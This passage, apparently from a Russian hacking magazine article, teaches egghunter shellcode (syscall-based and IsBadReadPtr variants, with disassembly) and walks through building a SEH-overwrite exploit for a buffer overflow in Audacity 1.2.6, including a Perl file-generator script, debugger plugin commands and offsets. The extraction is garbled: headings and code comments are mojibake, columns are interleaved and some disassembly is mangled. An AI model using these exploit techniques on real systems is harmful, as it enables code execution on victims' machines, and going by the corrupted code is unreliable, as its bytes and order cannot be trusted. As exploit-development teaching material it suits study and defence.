ВЗЛОМИщем наш шеллкод и изменения в немEgghunter в действиирезультате (то есть, access violation) прыгаем в начало шеллкода дляперехода на следующую страницу. Перед этим, конечно, вынимаемEDX из стека.Далее идет побайтовое сравнение. Здесь 0x77303074 — это тэг (можетбыть «любой», тут — «w00t»), который должен находиться перед основнымшеллкодом. Его мы помещаем в EAX, а в EDI помещаем адресиз EDX. SCASD сравнивает значение из EAX c тем, что находится поадресу в EDI. В случае неудачи мы перемещаемся обратно на вторуюстрочку шеллкода, где значение EDX увеличивается на единицу, аостальное повторяется заново.Повторное использование SCASD требуется, чтобы еще раз найти тэгсразу после первого. При использовании оператора SCASD указательна память в EDI сдвигается, поэтому мы сразу прыгаем в начало нашегоосновного шеллкода, используя jmp edi.Почему же я упомянул какую-то половинку в паре абзацеввыше? Да это к тому, что вместо описанной skape’ом функцииNtDisplayString можно использовать более позднюю придумку —NtAccessCheckAndAuditAlarm. Фактически разница в коде будет лишьв номере вызываемой функции.Вместо для NtDisplayString:00000007 6A43 push byte +0x43Должно быть для NtAccessCheckAndAuditAlarm:00000007 6A02 push byte +0x2Бонус от использования NtAccessCheckAndAuditAlarm в «постоянстве».Смещение(0x43h), которое используется для вызова системнойфункции для NtDisplayString вроде как меняется в последних версияхОС.ISBADREADPTRЭта техника использует стандартную API-функцию для проверки доступак виртуальной памяти.Вид функции следующий:BOOL IsBadReadPtr(const VOID* lp,UINT_PTR ucb);То есть, нам требуется при вызове функции данные передавать черезстек.Логика работы этой техники аналогична предыдущей, поэтому лишькратко пробегусь по коду.06800000000 33DB xor ebx,ebx00000002 6681CBFF0F or bx,0xfff00000007 43 inc ebx00000008 6A08 push byte +0x80000000A 53push ebx0000000B B80D5BE777 mov eax,0x77e75b0d00000010 FFD0 call eax00000012 85C0 test eax,eax00000014 75EC jnz 0x200000016 B890509050 mov eax, 0x773030740000001B 8BFBmov edi,ebx0000001D AFscasd0000001E 75E7jnz 0x700000020 AF scasd00000021 75E4 jnz 0x700000023 FFE7 jmp ediПервые три строчки — выравнивание EBX под размер страницы ипобайтовый проход по доступной памяти. Далее складываем аргументык функции, где 0x8h — ucb-аргумент, а EBX — проверяемыйадрес в памяти. В EAX запихиваем адрес IsBadReadPtr в виртуальнойпамяти процесса. Это самый большой недостаток данной техники,так как положение функции будет меняться в зависимости отверсии, сервис-пака, языка системы, не говоря уж о рандомизациипространства. Если значение в EAX не равно нулю, то происходитпереход к следующей странице памяти. Остальная часть кода аналогичнапредыдущей технике.Последняя техника основывается на использовании SEH, но я тебе оней не расскажу, так как и получаемый иггхантер большой по размеру(60 байт), и, главное, начиная с XP SP2 для ее эксплуатации приходитсяобходить защиту SEH'а, что делает ее в большинстве случаев неюзабельной.ÅÙÅ ÏÀÐÀ ÌÎÌÅÍÒÎÂИспользованием сдвоенного тэга (яйца) обусловлено еще и тем, чтоиггхантинг может найти сам себя (тэг в своем теле) до нахождениятэга, стоящего перед основным шеллкодом, и передать туда управление,что нам не требуется.Так как мы используем SCASD, то необходимо отслеживать, чтобыфлаг направления (D) был сброшен, иначе поиск будет происходитьв обратном направлении, что приведет к неправильнойработе иггхантера и вылету процесса. Но такое бывает оченьредко и исправляется добавлением команды сброса флага направления— CDL.XÀÊÅÐ 08 /139/ 10
Описание:access violation по адресу 41414141. Смотрим — переполнение несамое удобное: EIP не перезаписали, адрес возврата тоже. Доступенлишь ESI, искаженно — регистр ECX. Стек кусочково загаженнашими А (см. выше и ниже). Зато перезаписали SEH (View - SEHchain). С нововведениями в винду защита исключений поднялась вразы, но для примера оно сойдет. Чудесно. Так, узнаем подробности,используя плагин к pvefindaddr.Создаем паттерн:!pvefindaddr pattern_create 2000Адреса для возврата в стекПоиск иггхантер производит по кругу, то есть после конца адресногопространства процесса он переходит в начало. Таким образом, еслииггхантер не найдет тэг перед основным шеллкодом, то процессконкретно зависнет в бесконечном цикле, забирая при этом 100%произ водительности проца.Кстати, в Linux-системах иггхантинг юзается ничем не хуже, чем подWindows, и алгоритм аналогичен первому, разве что системные вызовыдругие, да регистры. Подробнее можешь почитать в той же статьеот skape.ÏÐÀÊÒÈ×ÅÑÊÀß ×ÀÑÒÜ. ÏÐÈÌÅÐ.Коли мы уже определились в необходимости иггхантинга как метода,давай опробуем его и некоторые его возможности на практике.Признаюсь что пример — лабораторный, но чрезвычайно показательный,а главное — доступный, но об этом — после.Для опытов мы воспользуемся звуковым редактором Audacity. Версияс переполнением — 1.2.6. Взять можно либо с offensive-security.com/archive/audacity-win-1.2.6.exe, либо с диска. Чтобы не повторяться— на диске есть все, о чем написано в данной статье, от ПО до всехвариантов эксплойтогенерилки.Инструментарий для препарирования — будем пользоваться ImmunityDebugger’ом c аддоном pvefindaddr от corelanc0d3r'а (от котором яписал в прошлом номере). Взять отсюда — immunityinc.com/productsimmdbg.shtml,либо отсюда — corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/ .Для того, чтобы pvefindaddr заработал, пихай его в коробку с гвоздями.То есть в PyCommands.Сам эксплойт будет создаваться посредством Perl’а, так что под Win —ActivePerl с activestate.com/activeperl. Личное пристрастие…Итак, к делу. Переполнение буфера возникает при импорте специальносформированного MIDI-файла в программе. Создаем файл с AAAAAв 2000 байт.#!/usr/bin/perl$junk = "\x41" x 2000 ; #Áóêâà À 2ê ðàç$sploit = $junk;#Èòîãîâûé ñïëîéòopen(FILE, ">test.gro") or die "Cannot open file: $!";#Îòêðûâàåì ôàéë íà çàïèñüprint FILE $sploit; #Ïèøåì òåêñòclose(FILE); #Çàêðûâàåìprint "test.gro has been created \n";Длиннющую строчку, полученную из окошка лога(l) или из файлаmspattern.txt в папке Immunity Debugger’а, пихаем в переменную$junk. Пересоздаем test.gro и перезапускаем эдитор в дебаггере(ctrl+F2).Смотрим итог, используя функцию suggest, которая ищет в памятипервые 8 байт паттерна и выдает адреса, а также указывает, на чтомы можем воздействовать (регистры, SEH и т.д.), и какое необходимосмещение.!pvefindaddr suggestМожно узнать смещение и для конкретной части паттерна.К примеру, при переполнении SEH перезаписался значением67413966, тогда смещение узнаем так:!pvefindaddr pattern_offset 67413966Не буду вдаваться в подробности описания техники перезаписиSEH, но напомню основные моменты. SEH-запись в стекесостоит из двух 4-байтных адресов. Один из них — указатель наследующий обработчик исключений (nextSEH), если данный несработает, а второй — указатель на сам код, обрабатывающийисключение. При возникновении исключения программа переходитпо этому адресу. Но, так как нам нужно передать управлениена стек, то мы находим где-то в памяти последовательностьинструкции pop, pop, ret, тем самым избавляемся от лишнихданных в стеке, появившихся после перехода на обработчик, ивозвращаемся в стек. Так как nextSEH расположен на вершинестека, то нам нужно перепрыгнуть запись об обработчике исключения,что мы делаем, используя конструкцию \xeb\x06\x90\x90. Первые два байта — джамп вперед на 6 байт (2 байта \x90(NOP) и 4 байта адреса на SEH), то есть, за обработчик на нашшеллкод.Надеюсь, что понятное объяснение получилось, если что — смотримрисунок :).Итак, SEH находится на 178 байте, next SEH — 174. Чудесно.Для того, чтобы найти необходимую последовательность «pop popret», воспользуемся плагином еще раз. Для этого в нем есть несколькофункций. Без параметров он ищет в памяти процесса данную последовательностьсо всеми регистрами. По функции «p» — поиск происходиттолько для библиотек скомпилированных без safeSEH, по «p1»— без safeSEH и ASLR, «р2» — по всем. Итог смотри на скриншоте.!pvefindaddr pОткрываем Audacity в дебаггере и запускаем его (F9). Импортируемв звуковой редактор (Проект-Импорт MIDI). И видим в дебаггереXÀÊÅÐ 08 /139/ 10Полученный адрес, как ты понимаешь, будет у всех разный, так какзависит он от версии, пака ОС. Так что подбери какой-нибудь.069